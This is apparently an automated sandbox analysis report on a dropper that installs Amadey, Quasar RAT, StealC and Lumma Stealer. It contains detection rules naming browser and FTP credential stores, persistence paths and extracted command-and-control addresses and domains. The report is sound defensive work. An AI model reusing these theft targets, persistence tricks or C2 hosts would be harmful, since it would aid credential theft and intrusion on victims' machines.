7.2.InstallUtil.exe.500000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2aaddc:$f1: FileZilla\recentservers.xml 0x2aae1c:$f2: FileZilla\sitemanager.xml 0x2aae5e:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab0aa:$b1: Chrome\User Data\ 0x2ab100:$b1: Chrome\User Data\ 0x2ab3d8:$b2: Mozilla\Firefox\Profiles 0x2ab4d4:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fd458:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2ab62c:$b4: Opera Software\Opera Stable\Login Data 0x2ab6e6:$b5: YandexBrowser\User Data\ 0x2ab754:$b5: YandexBrowser\User Data\ 0x2ab428:$s4: logins.json 0x2ab15e:$a1: username_value 0x2ab17c:$a2: password_value 0x2ab468:$a3: encryptedUsername 0x2fd39c:$a3: encryptedUsername 0x2ab48c:$a4: encryptedPassword 0x2fd3ba:$a4: encryptedPassword 0x2fd338:$a5: httpRealm
7.2.InstallUtil.exe.500000.0.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x164f16:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ab914:$s3: Process already elevated. 0x28eb9c:$s4: get_PotentiallyVulnerablePasswords 0x278c58:$s5: GetKeyloggerLogsDirectory 0x29e925:$s5: GetKeyloggerLogsDirectory 0x28ebbf:$s6: set_PotentiallyVulnerablePasswords 0x2fea86:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
Click to see the 20 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 6472, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\98a31794c6.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe, ProcessId: 6472, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\98a31794c6.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe, ProcessId: 6448, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysHost.vbs

Suricata Signatures

ET MALWARE Generic AsyncRAT Style SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:28.405714+0100	2035595	1	Domain Observed Used for C2 Detected	150.241.90.56	38204	192.168.2.5	49751	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:43.168161+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49835	188.114.97.3	443	TCP
2024-10-29T05:02:44.394102+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49844	188.114.97.3	443	TCP
2024-10-29T05:03:01.368411+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49954	188.114.97.3	443	TCP
2024-10-29T05:03:03.064403+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49965	188.114.97.3	443	TCP
2024-10-29T05:03:17.937161+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50026	188.114.97.3	443	TCP
2024-10-29T05:03:19.259041+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50030	188.114.97.3	443	TCP
2024-10-29T05:03:29.439907+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50046	188.114.97.3	443	TCP
2024-10-29T05:03:51.500181+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50073	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:43.168161+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49835	188.114.97.3	443	TCP
2024-10-29T05:03:01.368411+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49954	188.114.97.3	443	TCP
2024-10-29T05:03:17.937161+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50026	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:44.394102+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49844	188.114.97.3	443	TCP
2024-10-29T05:03:03.064403+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49965	188.114.97.3	443	TCP
2024-10-29T05:03:19.259041+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50030	188.114.97.3	443	TCP

ET MALWARE Observed Malicious SSL Cert (Quasar CnC)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:28.405714+0100	2027619	1	Domain Observed Used for C2 Detected	150.241.90.56	38204	192.168.2.5	49751	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:03:30.370274+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50048	185.215.113.16	80	TCP
2024-10-29T05:03:52.423913+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50075	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:17.959073+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49706	185.215.113.16	80	TCP
2024-10-29T05:02:26.082585+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49735	185.215.113.16	80	TCP
2024-10-29T05:02:33.322794+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49778	185.215.113.16	80	TCP
2024-10-29T05:02:41.584284+0100	2044696	1	A Network Trojan was detected	192.168.2.5	49825	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:57.418804+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49854	188.114.97.3	443	TCP
2024-10-29T05:03:40.657200+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50052	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:37.219508+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49799	185.215.113.206	80	TCP
2024-10-29T05:02:55.372698+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49910	185.215.113.206	80	TCP
2024-10-29T05:03:11.922752+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50020	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:12.992158+0100	2856147	1	A Network Trojan was detected	192.168.2.5	49704	185.215.113.16	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:17.039424+0100	2856122	1	A Network Trojan was detected	185.215.113.16	80	192.168.2.5	49704	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:02:14.346685+0100	2803305	3	Unknown Traffic	192.168.2.5	49705	162.159.134.233	443	TCP
2024-10-29T05:02:26.370809+0100	2803305	3	Unknown Traffic	192.168.2.5	49735	185.215.113.16	80	TCP
2024-10-29T05:02:33.609104+0100	2803305	3	Unknown Traffic	192.168.2.5	49778	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T05:03:18.177045+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50029	188.114.97.3	443	TCP
2024-10-29T05:03:25.381593+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50039	188.114.97.3	443	TCP
2024-10-29T05:03:42.130054+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50063	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\SysHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1308654
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Avira: detection malicious, Label: HEUR/AGEN.1308654
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1308654
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000015.00000003.4442585249.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}
Source: 00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Quasar {"Version": "1.4.1", "Host:Port": "b.strongest.network:38204;", "SubDirectory": "SubDir", "InstallName": "Client.exe", "MutexName": "d1e2a934-6f26-4551-933b-02e44b85d93a", "Tag": "500 load run", "LogDirectoryName": "Logs"}
Source: 15.2.98a31794c6.exe.7b0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 4.2.LummaC2.exe.420000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["authorisev.site", "opposezmny.site", "goalyfeastz.site", "contemteny.site", "servicedny.site", "faulteyotk.site", "computeryrati.site", "seallysl.site", "dilemmadu.site"], "Build id": "4SD0y4--RLREBORN"}

Multi AV Scanner detection for domain / URL

Source: necklacedmny.store

Virustotal: Detection: 11%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe	ReversingLabs: Detection: 64%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LummaC2[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	ReversingLabs: Detection: 64%
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Roaming\SysHost.exe	ReversingLabs: Detection: 64%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 55%
Source: file.exe	Virustotal: Detection: 59%			Perma Link

Yara detected Quasar RAT

Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4520183738.0000000000820000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2278148881.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uhshdsh.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 5064, type: MEMORYSTR

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\SysHost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LummaC2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: servicedny.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: authorisev.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: faulteyotk.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: dilemmadu.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: contemteny.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: goalyfeastz.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: opposezmny.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: seallysl.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: computeryrati.site
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: TeslaBrowser/5.5
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: - Screen Resoluton:
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: - Physical Installed Memory:
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: Workgroup: -
Source: 4.2.LummaC2.exe.420000.0.unpack	String decryptor: 4SD0y4--RLREBORN

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.135.36.89:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:50073 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 98a31794c6.exe, 00000008.00000003.2367784987.00000000050BB000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2409293967.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000C.00000003.2549164946.000000000522B000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2589589697.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000002.2755768193.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000003.2715238456.000000000524B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 98a31794c6.exe, 98a31794c6.exe, 00000008.00000003.2367784987.00000000050BB000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2409293967.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000C.00000003.2549164946.000000000522B000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2589589697.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000002.2755768193.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000003.2715238456.000000000524B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: uhshdsh.exe, 00000006.00000002.2283771462.0000000004231000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2292050435.0000000005280000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2278148881.0000000003763000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: uhshdsh.exe, 00000006.00000002.2283771462.0000000004231000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2292050435.0000000005280000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2278148881.0000000003763000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe, 00000011.00000003.3006887166.00000000048F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Directory queried: number of queries: 1989

Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	4_2_004641F0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edx, ecx	4_2_0046137E
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edx, ecx	4_2_004613D5
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	4_2_0044E870
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+ebx]	4_2_00425820
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0043C8CE
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov ecx, eax	4_2_0042E8D6
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ebx, byte ptr [edx+esi]	4_2_0042C960
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B62B8D10h	4_2_0045B170
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edx, eax	4_2_0045A97E
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then cmp dword ptr [eax+ebx*8], 7CDE1E50h	4_2_0045A97E
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B62B8D10h	4_2_0045A97E
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5A603547h]	4_2_00430118
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov byte ptr [ebx], dl	4_2_00430118
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [ecx+eax-24F86745h]	4_2_00430118
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edx, ecx	4_2_00430118
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edx, ecx	4_2_00430118
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5A603547h]	4_2_00430130
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov byte ptr [ebx], dl	4_2_00430130
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [ecx+eax-24F86745h]	4_2_00430130
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edx, ecx	4_2_00430130
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edx, ecx	4_2_00430130
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then jmp edx	4_2_004631D0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_004631D0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-7DC9E524h]	4_2_004441E0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov ecx, eax	4_2_0042E996
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then jmp edx	4_2_00462EB0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_00462EB0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then jmp eax	4_2_0044AA40
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+1817620Ch]	4_2_0044AA60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0044CA72
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0044CA72
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then jmp edx	4_2_004632C0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_004632C0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2BB126CDh]	4_2_0045FAD0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov byte ptr [eax+ebx], 00000030h	4_2_004212D5
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edi, edx	4_2_00441B40
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov byte ptr [ebx], cl	4_2_0044EB60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov ecx, eax	4_2_0044EB60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then lea edx, dword ptr [eax-80h]	4_2_0044EB60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+0000009Ch]	4_2_0044EB60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+068F7B6Bh]	4_2_0044EB60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	4_2_0044EB60
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov byte ptr [ebx], al	4_2_0044EB60
